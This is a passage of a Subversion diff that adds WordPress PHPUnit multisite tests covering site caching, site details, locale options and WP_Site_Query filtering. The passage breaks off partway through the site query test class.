+				'https',
+				false,
+			),
+			array(
+				'http',
+				'https',
+				false,
+			),
+			array(
+				'https',
+				'http',
+				false,
+			),
+			array(
+				'http',
+				'http',
+				false,
+			),
+			array(
+				'http',
+				'http',
+				true,
+			),
+		);
+	}
+
+	/**
+	 * @ticket 36918
+	 */
+	function test_new_blog_locale() {
+		$current_site = get_current_site();
+
+		add_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10, 3 );
+		update_site_option( 'WPLANG', 'de_DE' );
+		remove_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10 );
+
+		// No locale, use default locale.
+		add_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10, 3 );
+		$blog_id = wpmu_create_blog( $current_site->domain, '/de-de/', 'New Blog', get_current_user_id() );
+		remove_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10 );
+
+		$this->assertNotWPError( $blog_id );
+		$this->assertSame( 'de_DE', get_blog_option( $blog_id, 'WPLANG' ) );
+
+		// Custom locale.
+		add_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10, 3 );
+		$blog_id = wpmu_create_blog( $current_site->domain, '/es-es/', 'New Blog', get_current_user_id(), array( 'WPLANG' => 'es_ES' ) );
+		remove_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10 );
+
+		$this->assertNotWPError( $blog_id );
+		$this->assertSame( 'es_ES', get_blog_option( $blog_id, 'WPLANG' ) );
+
+		// en_US locale.
+		add_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10, 3 );
+		$blog_id = wpmu_create_blog( $current_site->domain, '/en-us/', 'New Blog', get_current_user_id(), array( 'WPLANG' => '' ) );
+		remove_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10 );
+
+		$this->assertNotWPError( $blog_id );
+		$this->assertSame( '', get_blog_option( $blog_id, 'WPLANG' ) );
+	}
+
+	/**
+	 * @ticket 40503
+	 */
+	function test_different_network_language() {
+		$network = get_network( self::$network_ids['make.wordpress.org/'] );
+
+		add_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10, 3 );
+
+		update_network_option( self::$network_ids['make.wordpress.org/'], 'WPLANG', 'wibble' );
+		$blog_id = wpmu_create_blog( $network->domain, '/de-de/', 'New Blog', get_current_user_id(), array(), $network->id );
+
+		remove_filter( 'sanitize_option_WPLANG', array( $this, 'filter_allow_unavailable_languages' ), 10 );
+
+		$this->assertSame( get_network_option( self::$network_ids['make.wordpress.org/'], 'WPLANG' ), get_blog_option( $blog_id, 'WPLANG' ) );
+	}
+
+	/**
+	 * Allows to set the WPLANG option to any language.
+	 *
+	 * @param string $value          The sanitized option value.
+	 * @param string $option         The option name.
+	 * @param string $original_value The original value passed to the function.
+	 * @return string The orginal value.
+	 */
+	function filter_allow_unavailable_languages( $value, $option, $original_value ) {
+		return $original_value;
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_is_main_site_different_network() {
+		$this->assertTrue( is_main_site( self::$site_ids['make.wordpress.org/'], self::$network_ids['make.wordpress.org/'] ) );
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_is_main_site_different_network_random_site() {
+		$this->assertFalse( is_main_site( self::$site_ids['make.wordpress.org/foo/'], self::$network_ids['make.wordpress.org/'] ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 * @dataProvider data_get_site_caches
+	 */
+	public function test_clean_blog_cache( $key, $group ) {
+		$site = get_site( self::$site_ids['make.wordpress.org/'] );
+
+		$replacements = array(
+			'%blog_id%'         => $site->blog_id,
+			'%domain%'          => $site->domain,
+			'%path%'            => $site->path,
+			'%domain_path_key%' => md5( $site->domain . $site->path ),
+		);
+
+		$key = str_replace( array_keys( $replacements ), array_values( $replacements ), $key );
+
+		if ( 'sites' === $group ) { // This needs to be actual data for get_site() lookups.
+			wp_cache_set( $key, (object) $site->to_array(), $group );
+		} else {
+			wp_cache_set( $key, 'something', $group );
+		}
+
+		clean_blog_cache( $site );
+		$this->assertFalse( wp_cache_get( $key, $group ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 * @dataProvider data_get_site_caches
+	 */
+	public function test_clean_blog_cache_with_id( $key, $group ) {
+		$site = get_site( self::$site_ids['make.wordpress.org/'] );
+
+		$replacements = array(
+			'%blog_id%'         => $site->blog_id,
+			'%domain%'          => $site->domain,
+			'%path%'            => $site->path,
+			'%domain_path_key%' => md5( $site->domain . $site->path ),
+		);
+
+		$key = str_replace( array_keys( $replacements ), array_values( $replacements ), $key );
+
+		if ( 'sites' === $group ) { // This needs to be actual data for get_site() lookups.
+			wp_cache_set( $key, (object) $site->to_array(), $group );
+		} else {
+			wp_cache_set( $key, 'something', $group );
+		}
+
+		clean_blog_cache( $site->blog_id );
+		$this->assertFalse( wp_cache_get( $key, $group ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_clean_blog_cache_resets_last_changed() {
+		$site = get_site( self::$site_ids['make.wordpress.org/'] );
+
+		wp_cache_delete( 'last_changed', 'sites' );
+
+		clean_blog_cache( $site );
+		$this->assertNotFalse( wp_cache_get( 'last_changed', 'sites' ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_clean_blog_cache_fires_action() {
+		$site = get_site( self::$site_ids['make.wordpress.org/'] );
+
+		$old_count = did_action( 'clean_site_cache' );
+
+		clean_blog_cache( $site );
+		$this->assertEquals( $old_count + 1, did_action( 'clean_site_cache' ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_clean_blog_cache_bails_on_suspend_cache_invalidation() {
+		$site = get_site( self::$site_ids['make.wordpress.org/'] );
+
+		$old_count = did_action( 'clean_site_cache' );
+
+		$suspend = wp_suspend_cache_invalidation();
+		clean_blog_cache( $site );
+		wp_suspend_cache_invalidation( $suspend );
+		$this->assertEquals( $old_count, did_action( 'clean_site_cache' ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_clean_blog_cache_bails_on_empty_input() {
+		$old_count = did_action( 'clean_site_cache' );
+
+		clean_blog_cache( null );
+		$this->assertEquals( $old_count, did_action( 'clean_site_cache' ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_clean_blog_cache_bails_on_non_numeric_input() {
+		$old_count = did_action( 'clean_site_cache' );
+
+		clean_blog_cache( 'something' );
+		$this->assertEquals( $old_count, did_action( 'clean_site_cache' ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_clean_blog_cache_works_with_deleted_site() {
+		$site_id = 12345;
+
+		wp_cache_set( $site_id, 'something', 'site-details' );
+
+		clean_blog_cache( $site_id );
+		$this->assertFalse( wp_cache_get( $site_id, 'site-details' ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 * @dataProvider data_get_site_caches
+	 */
+	public function test_refresh_blog_details( $key, $group ) {
+		$site = get_site( self::$site_ids['make.wordpress.org/'] );
+
+		$replacements = array(
+			'%blog_id%'         => $site->blog_id,
+			'%domain%'          => $site->domain,
+			'%path%'            => $site->path,
+			'%domain_path_key%' => md5( $site->domain . $site->path ),
+		);
+
+		$key = str_replace( array_keys( $replacements ), array_values( $replacements ), $key );
+
+		if ( 'sites' === $group ) { // This needs to be actual data for get_site() lookups.
+			wp_cache_set( $key, (object) $site->to_array(), $group );
+		} else {
+			wp_cache_set( $key, 'something', $group );
+		}
+
+		refresh_blog_details( $site->blog_id );
+		$this->assertFalse( wp_cache_get( $key, $group ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_refresh_blog_details_works_with_deleted_site() {
+		$site_id = 12345;
+
+		wp_cache_set( $site_id, 'something', 'site-details' );
+
+		refresh_blog_details( $site_id );
+		$this->assertFalse( wp_cache_get( $site_id, 'site-details' ) );
+	}
+
+	/**
+	 * @ticket 40201
+	 */
+	public function test_refresh_blog_details_uses_current_site_as_default() {
+		$site_id = get_current_blog_id();
+
+		wp_cache_set( $site_id, 'something', 'site-details' );
+
+		refresh_blog_details();
+		$this->assertFalse( wp_cache_get( $site_id, 'site-details' ) );
+	}
+
+	public function data_get_site_caches() {
+		return array(
+			array( '%blog_id%', 'sites' ),
+			array( '%blog_id%', 'site-details' ),
+			array( '%blog_id%', 'blog-details' ),
+			array( '%blog_id%' . 'short' , 'blog-details' ),
+			array( '%domain_path_key%', 'blog-lookup' ),
+			array( '%domain_path_key%', 'blog-id-cache' ),
+			array( 'current_blog_%domain%', 'site-options' ),
+			array( 'current_blog_%domain%%path%', 'site-options' ),
+		);
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/siteDetails.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/siteDetails.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/siteDetails.php	(revision 56912)
@@ -0,0 +1,192 @@
+<?php
+
+if ( is_multisite() ) :
+/**
+ * Test 'site_details' functionality.
+ *
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Site_Details extends WP_UnitTestCase {
+	/**
+	 * @dataProvider data_whitelisted_options
+	 *
+	 * @ticket 40063
+	 */
+	public function test_update_whitelisted_option_deletes_site_details_cache( $whitelisted_option, $temporary_value ) {
+		$site = get_site();
+
+		$original_value = $site->$whitelisted_option;
+		update_option( $whitelisted_option, $temporary_value );
+
+		$cached_result = wp_cache_get( $site->id, 'site-details' );
+
+		/* Reset to original value. */
+		update_option( $whitelisted_option, $original_value );
+
+		$this->assertFalse( $cached_result );
+	}
+
+	/**
+	 * @dataProvider data_whitelisted_options
+	 *
+	 * @ticket 40063
+	 */
+	public function test_update_whitelisted_option_deletes_blog_details_cache( $whitelisted_option, $temporary_value ) {
+		$blog_details = get_blog_details();
+
+		$original_value = $blog_details->$whitelisted_option;
+		update_option( $whitelisted_option, $temporary_value );
+
+		$cached_result = wp_cache_get( $blog_details->id, 'blog-details' );
+
+		/* Reset to original value. */
+		update_option( $whitelisted_option, $original_value );
+
+		$this->assertFalse( $cached_result );
+	}
+
+	/**
+	 * @dataProvider data_whitelisted_options
+	 *
+	 * @ticket 40063
+	 */
+	public function test_update_whitelisted_option_does_not_delete_site_cache( $whitelisted_option, $temporary_value ) {
+		$site = get_site();
+
+		$original_value = $site->$whitelisted_option;
+		update_option( $whitelisted_option, $temporary_value );
+
+		$cached_result = wp_cache_get( $site->id, 'sites' );
+
+		/* Reset to original value. */
+		update_option( $whitelisted_option, $original_value );
+
+		$this->assertNotFalse( $cached_result );
+	}
+
+	/**
+	 * @dataProvider data_whitelisted_options
+	 *
+	 * @ticket 40063
+	 */
+	public function test_update_whitelisted_option_does_not_delete_short_blog_details_cache( $whitelisted_option, $temporary_value ) {
+		$blog_details = get_blog_details( null, false );
+
+		$original_value = get_option( $whitelisted_option );
+		update_option( $whitelisted_option, $temporary_value );
+
+		$cached_result = wp_cache_get( $blog_details->id . 'short', 'blog-details' );
+
+		/* Reset to original value. */
+		update_option( $whitelisted_option, $original_value );
+
+		$this->assertNotFalse( $cached_result );
+	}
+
+	/**
+	 * @dataProvider data_whitelisted_options
+	 *
+	 * @ticket 40063
+	 */
+	public function test_update_whitelisted_option_does_not_update_sites_last_changed( $whitelisted_option, $temporary_value ) {
+		$last_changed = wp_cache_get_last_changed( 'sites' );
+
+		$original_value = get_option( $whitelisted_option );
+		update_option( $whitelisted_option, $temporary_value );
+
+		$new_last_changed = wp_cache_get_last_changed( 'sites' );
+
+		/* Reset to original value. */
+		update_option( $whitelisted_option, $original_value );
+
+		$this->assertSame( $new_last_changed, $last_changed );
+	}
+
+	public function data_whitelisted_options() {
+		return array(
+			array( 'blogname', 'Custom Site' ),
+			array( 'home', 'http://custom-site-url.org' ),
+			array( 'siteurl', 'http://custom-site-url.org' ),
+			array( 'post_count', '4' ),
+		);
+	}
+
+	/**
+	 * @ticket 40063
+	 */
+	public function test_update_random_blog_option_does_not_delete_cache() {
+		$site = get_site();
+
+		update_option( 'foobar_option', 'foobar_value' );
+		$cached_result = wp_cache_get( $site->id, 'sites' );
+
+		delete_option( 'foobar_option' );
+
+		$this->assertNotFalse( $cached_result );
+	}
+
+	/**
+	 * @ticket 40247
+	 */
+	public function test_site_details_cached_including_false_values() {
+		$id = self::factory()->blog->create();
+
+		$site = get_site( $id );
+
+		// Trigger retrieving site details (post_count is not set on new sites)
+		$post_count = $site->post_count;
+
+		$cached_details = wp_cache_get( $site->id, 'site-details' );
+
+		wpmu_delete_blog( $id, true );
+		wp_update_network_site_counts();
+
+		$this->assertNotFalse( $cached_details );
+	}
+
+	public function test_site_details_filter_with_blogname() {
+		add_filter( 'site_details', array( $this, '_filter_site_details_blogname' ) );
+		$site = get_site();
+		$blogname = $site->blogname;
+		remove_filter( 'site_details', array( $this, '_filter_site_details_blogname' ) );
+
+		$this->assertSame( 'Foo Bar', $blogname );
+	}
+
+	public function _filter_site_details_blogname( $details ) {
+		$details->blogname = 'Foo Bar';
+		return $details;
+	}
+
+	/**
+	 * @ticket 40458
+	 */
+	public function test_site_details_filter_with_custom_value_isetter() {
+		add_filter( 'site_details', array( $this, '_filter_site_details_custom_value' ) );
+		$site = get_site();
+		$custom_value_isset = isset( $site->custom_value );
+		remove_filter( 'site_details', array( $this, '_filter_site_details_custom_value' ) );
+
+		$this->assertTrue( $custom_value_isset );
+	}
+
+	/**
+	 * @ticket 40458
+	 */
+	public function test_site_details_filter_with_custom_value_getter() {
+		add_filter( 'site_details', array( $this, '_filter_site_details_custom_value' ) );
+		$site = get_site();
+		$custom_value = $site->custom_value;
+		remove_filter( 'site_details', array( $this, '_filter_site_details_custom_value' ) );
+
+		$this->assertSame( 'foo', $custom_value );
+	}
+
+	public function _filter_site_details_custom_value( $details ) {
+		$details->custom_value = 'foo';
+		return $details;
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/siteQuery.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/siteQuery.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/siteQuery.php	(revision 56912)
@@ -0,0 +1,742 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Test site query functionality in multisite.
+ *
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Site_Query extends WP_UnitTestCase {
+	protected static $network_ids;
+	protected static $site_ids;
+
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$network_ids = array(
+			'wordpress.org/'         => array( 'domain' => 'wordpress.org', 'path' => '/' ),
+			'make.wordpress.org/'    => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+			'www.wordpress.net/'     => array( 'domain' => 'www.wordpress.net', 'path' => '/' ),
+		);
+
+		foreach ( self::$network_ids as &$id ) {
+			$id = $factory->network->create( $id );
+		}
+		unset( $id );
+
+		self::$site_ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',      'path' => '/',         'site_id' => self::$network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',      'path' => '/foo/',     'site_id' => self::$network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/bar/'      => array( 'domain' => 'wordpress.org',      'path' => '/foo/bar/', 'site_id' => self::$network_ids['wordpress.org/'] ),
+			'make.wordpress.org/'         => array( 'domain' => 'make.wordpress.org', 'path' => '/',         'site_id' => self::$network_ids['make.wordpress.org/'] ),
+			'make.wordpress.org/foo/'     => array( 'domain' => 'make.wordpress.org', 'path' => '/foo/',     'site_id' => self::$network_ids['make.wordpress.org/'] ),
+			'www.w.org/'                  => array( 'domain' => 'www.w.org',          'path' => '/' ),
+			'www.w.org/foo/'              => array( 'domain' => 'www.w.org',          'path' => '/foo/' ),
+			'www.w.org/foo/bar/'          => array( 'domain' => 'www.w.org',          'path' => '/foo/bar/' ),
+			'www.w.org/make/'             => array( 'domain' => 'www.w.org',          'path' => '/make/', 'meta' => array( 'public' => 1, 'lang_id' => 1 ) ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		global $wpdb;
+
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		foreach( self::$network_ids as $id ) {
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->sitemeta} WHERE site_id = %d", $id ) );
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->site} WHERE id= %d", $id ) );
+		}
+
+		wp_update_network_site_counts();
+	}
+
+	public function test_wp_site_query_by_ID() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'ID'     => self::$site_ids['www.w.org/'],
+		) );
+
+		$this->assertEqualSets( array( self::$site_ids['www.w.org/'] ), $found );
+	}
+
+	public function test_wp_site_query_by_number() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'   => 'ids',
+			'number' => 3,
+		) );
+
+		$this->assertEquals( 3, count( $found ) );
+	}
+
+	public function test_wp_site_query_by_site__in_with_single_id() {
+		$expected = array( self::$site_ids['wordpress.org/foo/'] );
+
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'   => 'ids',
+			'site__in' => $expected,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_site__in_with_multiple_ids() {
+		$expected = array( self::$site_ids['wordpress.org/'], self::$site_ids['wordpress.org/foo/'] );
+
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'   => 'ids',
+			'site__in' => $expected,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	/**
+	 * Test the `count` query var
+	 */
+	public function test_wp_site_query_by_site__in_and_count_with_multiple_ids() {
+		$expected = array( self::$site_ids['wordpress.org/'], self::$site_ids['wordpress.org/foo/'] );
+
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'   => 'ids',
+			'count' => true,
+			'site__in' => $expected,
+		) );
+
+		$this->assertEquals( 2, $found );
+	}
+
+	public function test_wp_site_query_by_site__not_in_with_single_id() {
+		$excluded = array( self::$site_ids['wordpress.org/foo/'] );
+		$expected = array_diff( self::$site_ids, $excluded );
+
+		// Exclude main site since we don't have control over it here.
+		$excluded[] = 1;
+
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'site__not_in' => $excluded,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_site__not_in_with_multiple_ids() {
+		$excluded = array( self::$site_ids['wordpress.org/'], self::$site_ids['wordpress.org/foo/'] );
+		$expected = array_diff( self::$site_ids, $excluded );
+
+		// Exclude main site since we don't have control over it here.
+		$excluded[] = 1;
+
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'site__not_in' => $excluded,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_network_id_with_order() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'     => 'ids',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'ASC',
+		) );
+
+		$expected = array(
+			self::$site_ids['wordpress.org/'],
+			self::$site_ids['wordpress.org/foo/'],
+			self::$site_ids['wordpress.org/foo/bar/'],
+		);
+
+		$this->assertEquals( $expected, $found );
+
+		$found = $q->query( array(
+			'fields'     => 'ids',
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'number'     => 3,
+			'order'      => 'DESC',
+		) );
+
+		$this->assertEquals( array_reverse( $expected ), $found );
+	}
+
+	public function test_wp_site_query_by_network_id_with_existing_sites() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'network_id'   => self::$network_ids['make.wordpress.org/'],
+		) );
+
+		$expected = array(
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_network_id_with_no_existing_sites() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'network_id'   => self::$network_ids['www.wordpress.net/'],
+		) );
+
+		$this->assertEmpty( $found );
+	}
+
+	public function test_wp_site_query_by_domain() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'domain'       => 'www.w.org',
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/'],
+			self::$site_ids['www.w.org/foo/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_domain_and_offset() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'domain'       => 'www.w.org',
+			'offset'       => 1,
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/foo/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_domain_and_number_and_offset() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'domain'       => 'www.w.org',
+			'number'       => 2,
+			'offset'       => 1,
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/foo/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_domain__in_with_single_domain() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'domain__in' => array( 'make.wordpress.org' ),
+		));
+
+		$expected = array(
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_domain__in_with_multiple_domains() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'domain__in' => array( 'wordpress.org', 'make.wordpress.org' ),
+		));
+
+		$expected = array(
+			self::$site_ids['wordpress.org/'],
+			self::$site_ids['wordpress.org/foo/'],
+			self::$site_ids['wordpress.org/foo/bar/'],
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_domain__not_in_with_single_domain() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'domain__not_in' => array( 'www.w.org' ),
+		));
+
+		$expected = array(
+			get_current_blog_id(), // Account for the initial site added by the test suite.
+			self::$site_ids['wordpress.org/'],
+			self::$site_ids['wordpress.org/foo/'],
+			self::$site_ids['wordpress.org/foo/bar/'],
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_domain__not_in_with_multiple_domains() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'domain__not_in' => array( 'wordpress.org', 'www.w.org' ),
+		));
+
+		$expected = array(
+			get_current_blog_id(), // Account for the initial site added by the test suite.
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_path_with_expected_results() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'path'         => '/foo/bar/',
+		) );
+
+		$expected = array(
+			self::$site_ids['wordpress.org/foo/bar/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_path_with_no_expected_results() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'path'         => '/foo/bar/foo/',
+		) );
+
+		$this->assertEmpty( $found );
+	}
+
+	// archived, mature, spam, deleted, public
+
+	public function test_wp_site_query_by_archived() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			// Exclude main site since we don't have control over it here.
+			'site__not_in' => array( 1 ),
+			'archived'     => '0',
+		) );
+
+		$this->assertEqualSets( array_values( self::$site_ids ), $found );
+	}
+
+	public function test_wp_site_query_by_mature() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			// Exclude main site since we don't have control over it here.
+			'site__not_in' => array( 1 ),
+			'mature'     => '0',
+		) );
+
+		$this->assertEqualSets( array_values( self::$site_ids ), $found );
+	}
+
+	public function test_wp_site_query_by_spam() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			// Exclude main site since we don't have control over it here.
+			'site__not_in' => array( 1 ),
+			'spam'     => '0',
+		) );
+
+		$this->assertEqualSets( array_values( self::$site_ids ), $found );
+	}
+
+	public function test_wp_site_query_by_deleted() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			// Exclude main site since we don't have control over it here.
+			'site__not_in' => array( 1 ),
+			'deleted'     => '0',
+		) );
+
+		$this->assertEqualSets( array_values( self::$site_ids ), $found );
+	}
+
+	public function test_wp_site_query_by_deleted_with_no_results() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'deleted'      => '1',
+		) );
+
+		$this->assertEmpty( $found );
+	}
+
+	public function test_wp_site_query_by_public() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			// Exclude main site since we don't have control over it here.
+			'site__not_in' => array( 1 ),
+			'public'     => '1',
+		) );
+
+		$this->assertEqualSets( array_values( self::$site_ids ), $found );
+	}
+
+	public function test_wp_site_query_by_lang_id_with_zero() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			// Exclude main site since we don't have control over it here.
+			'site__not_in' => array( 1 ),
+			'lang_id'      => 0,
+		) );
+
+		$this->assertEqualSets( array_diff( array_values( self::$site_ids ), array( self::$site_ids['www.w.org/make/'] ) ), $found );
+	}
+
+	public function test_wp_site_query_by_lang_id() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'lang_id'      => 1,
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_lang_id_with_no_results() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'lang_id'      => 2,
+		) );
+
+		$this->assertEmpty( $found );
+	}
+
+	public function test_wp_site_query_by_lang__in() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'lang__in' => array( 1 ),
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_lang__in_with_multiple_ids() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			// Exclude main site since we don't have control over it here.
+			'site__not_in' => array( 1 ),
+			'lang__in' => array( 0, 1 ),
+		) );
+
+		$this->assertEqualSets( array_values( self::$site_ids ), $found );
+	}
+
+	public function test_wp_site_query_by_lang__not_in() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'lang__not_in' => array( 0 ),
+		) );
+
+		$expected = array(
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_lang__not_in_with_multiple_ids() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'lang__not_in' => array( 0, 1 ),
+		) );
+
+		$this->assertEmpty( $found );
+	}
+
+	public function test_wp_site_query_by_search_with_text_in_domain() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'search'       => 'ke.wordp',
+		) );
+
+		$expected = array(
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_search_with_text_in_path() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'search'       => 'foo',
+		) );
+
+		$expected = array(
+			self::$site_ids['wordpress.org/foo/'],
+			self::$site_ids['wordpress.org/foo/bar/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+			self::$site_ids['www.w.org/foo/'],
+			self::$site_ids['www.w.org/foo/bar/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_site_query_by_search_with_text_in_path_and_domain() {
+		$q = new WP_Site_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'search'       => 'make',
+		) );
+
+		$expected = array(
+			self::$site_ids['make.wordpress.org/'],
+			self::$site_ids['make.wordpress.org/foo/'],
+			self::$site_ids['www.w.org/make/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
